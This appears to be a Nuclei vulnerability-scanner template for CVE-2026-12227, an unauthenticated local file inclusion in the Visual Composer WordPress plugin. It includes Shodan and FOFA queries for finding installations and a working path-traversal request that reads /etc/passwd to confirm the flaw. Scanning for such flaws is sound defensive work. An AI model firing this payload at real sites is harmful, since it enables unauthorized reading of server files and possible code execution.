id: CVE-2026-12227 info: name: Visual Composer <= 45.16.0 - Unauthenticated LFI author: 0x_Akoko severity: critical description: | Visual Composer Website Builder for WordPress <= 45.16.0 contains a local file inclusion vulnerability caused by improper validation of the vcv-template parameter, letting unauthenticated attackers include and execute arbitrary files, exploit requires no authentication. impact: | Unauthenticated attackers can execute arbitrary PHP code, bypass access controls, and access sensitive data on the server. remediation: | Update to the latest version beyond 45.16.0. reference: - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/visualcomposer/visual-composer-website-builder-45160-unauthenticated-local-file-inclusion-via-vcv-template-parameter - https://github.com/murrez/CVE-2026-12227 - https://nvd.nist.gov/vuln/detail/CVE-2026-12227 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2026-12227 epss-score: 0.02868 epss-percentile: 0.86688 cwe-id: CWE-98 metadata: verified: true max-request: 2 vendor: developer product: visualcomposer shodan-query: http.html:"/wp-content/plugins/visualcomposer/" fofa-query: body="/wp-content/plugins/visualcomposer/" tags: cve,cve2026,wordpress,wp-plugin,visualcomposer,lfi,unauth,vkev flow: http(1) && http(2) http: - raw: - | GET / HTTP/1.1 Host: {{Hostname}} redirects: true max-redirects: 3 matchers: - type: dsl dsl: - 'status_code == 200' - 'contains(body, "visualcomposer")' condition: and internal: true - raw: - | GET /?vcv-template-type=vc&vcv-template=../../../../../../../etc/passwd HTTP/1.1 Host: {{Hostname}} matchers-condition: and matchers: - type: regex regex: - "root:.*:0:0:" - type: status status: - 200 # digest: 4a0a00473045022100d6417ecd1e5c0ad1430379f794a462d2f0c1b021a6f25c4d00f9135bcd7ad7920220356173cc937edaedc59b13ba8be57eec268f3817e9e0acec6024ddb8a32c2997:922c64590222798bb761d5b6d8e72950